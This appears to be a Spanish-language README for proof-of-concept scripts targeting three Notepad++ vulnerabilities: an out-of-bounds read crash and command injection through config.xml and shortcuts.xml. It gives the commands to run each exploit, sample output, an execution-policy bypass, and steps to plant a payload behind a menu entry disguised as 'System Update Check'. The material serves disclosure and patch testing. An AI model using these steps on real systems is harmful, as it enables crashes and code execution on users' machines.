
Scripts de prueba de concepto para tres vulnerabilidades en Notepad++ <= 8.9.6, parcheadas en v8.9.6.1 (2026-05-26) CVE-2026-48770 / CVE-2026-48778 / CVE-2026-48800
CVE-2026-48770 / CVE-2026-48778 / CVE-2026-48800
Scripts de prueba de concepto para tres vulnerabilidades en Notepad++ <= 8.9.6, corregidas en v8.9.6.1 (2026-05-26).

| CVE | Tipo | CVSS | Impacto |
|---|---|---|---|
| CVE-2026-48770 | Lectura fuera de límites mediante WM_COPYDATA | 5.0 | DoS / Caída |
| CVE-2026-48778 | Inyección de comandos del SO vía config.xml | 7.8 | RCE |
| CVE-2026-48800 | Inyección de comandos del SO vía shortcuts.xml | 7.8 | RCE |
.py).ps1).
├── README.md
├── poc_CVE-2026-48770.py # Caída por lectura fuera de límites (ctypes)
├── poc_CVE-2026-48778.py # RCE vía config.xml
├── poc_CVE-2026-48800.py # RCE vía shortcuts.xml
└── payloads/
├── config.xml # Payload directo (CVE-2026-48778)
├── shortcuts.xml # Payload directo (CVE-2026-48800)
└── poc_CVE-2026-48770.ps1 # Caída por lectura fuera de límites (PowerShell)
Un proceso local en la misma sesión de Windows envía un mensaje WM_COPYDATA manipulado (dwData=3) sin terminador NUL. El manejador lee más allá del límite del búfer, produciendo una violación de acceso (0xc0000005) que provoca la caída de Notepad++.
Disparador: Notepad++ debe estar abierto.
PowerShell:
# From payloads\
powershell -ExecutionPolicy Bypass -File poc_CVE-2026-48770.ps1
Python:
python poc_CVE-2026-48770.py
Salida esperada:
[+] Found Notepad++ HWND: 0x000A08B4
[*] Sending malformed WM_COPYDATA (dwData=3, cbData=8192, no NUL terminator)...
[+] SendMessageTimeout returned 0 - Notepad++ likely crashed (OOB read -> 0xc0000005)
La ventana de Notepad++ desaparece. Es posible que se active WER (Informe de errores de Windows).
%APPDATA%\Notepad++\config.xml se lee al inicio. El valor de <GUIConfig name="commandLineInterpreter"> se pasa directamente a ShellExecute() sin validación. Reemplazarlo por cualquier ejecutable consigue RCE cuando el usuario hace clic en Archivo → Abrir carpeta contenedora → cmd.
# Inject (backs up original automatically)
python poc_CVE-2026-48778.py --mode direct --payload calc.exe
# Trigger: open Notepad++ -> File -> Open Containing Folder -> cmd
# calc.exe launches instead of cmd.exe
# Restore
python poc_CVE-2026-48778.py --mode direct --restore
copy payloads\config.xml %APPDATA%\Notepad++\config.xml
# Open Notepad++ -> File -> Open Containing Folder -> cmd
python poc_CVE-2026-48778.py --mode settingsdir --payload calc.exe
# Prints the notepad++.exe -settingsDir= launch command
# Trigger: File -> Open Containing Folder -> cmd
%APPDATA%\Notepad++\shortcuts.xml se lee al inicio. Las entradas <Command> dentro de <UserDefinedCommands> se añaden al menú Ejecutar y se pasan directamente a ShellExecute() sin validación. Una entrada controlada por el atacante se ejecuta al hacer clic.
# Inject (backs up original automatically)
python poc_CVE-2026-48800.py --mode direct --payload calc.exe --name "System Update Check"
# Trigger: close and reopen Notepad++ -> Run menu -> "System Update Check"
# calc.exe launches
# Restore
python poc_CVE-2026-48800.py --mode direct --restore
copy payloads\shortcuts.xml %APPDATA%\Notepad++\shortcuts.xml
# Restart Notepad++ -> Run menu -> "System Update Check"
python poc_CVE-2026-48800.py --mode settingsdir --payload calc.exe
# Prints the notepad++.exe -settingsDir= launch command
# Trigger: Run menu -> "System Update Check"
Actualice Notepad++ a v8.9.6.1 o posterior.
Descarga: https://notepad-plus-plus.org/downloads/
| CVE | Aviso |
|---|---|
| CVE-2026-48770 | GHSA-r39g-3mcw-xcg2 |
| CVE-2026-48778 | GHSA-7hm3-wp5q-ccv9 |
| CVE-2026-48800 | GHSA-3x3f-3j39-pj3v |
Solo con fines de investigación y pruebas autorizadas.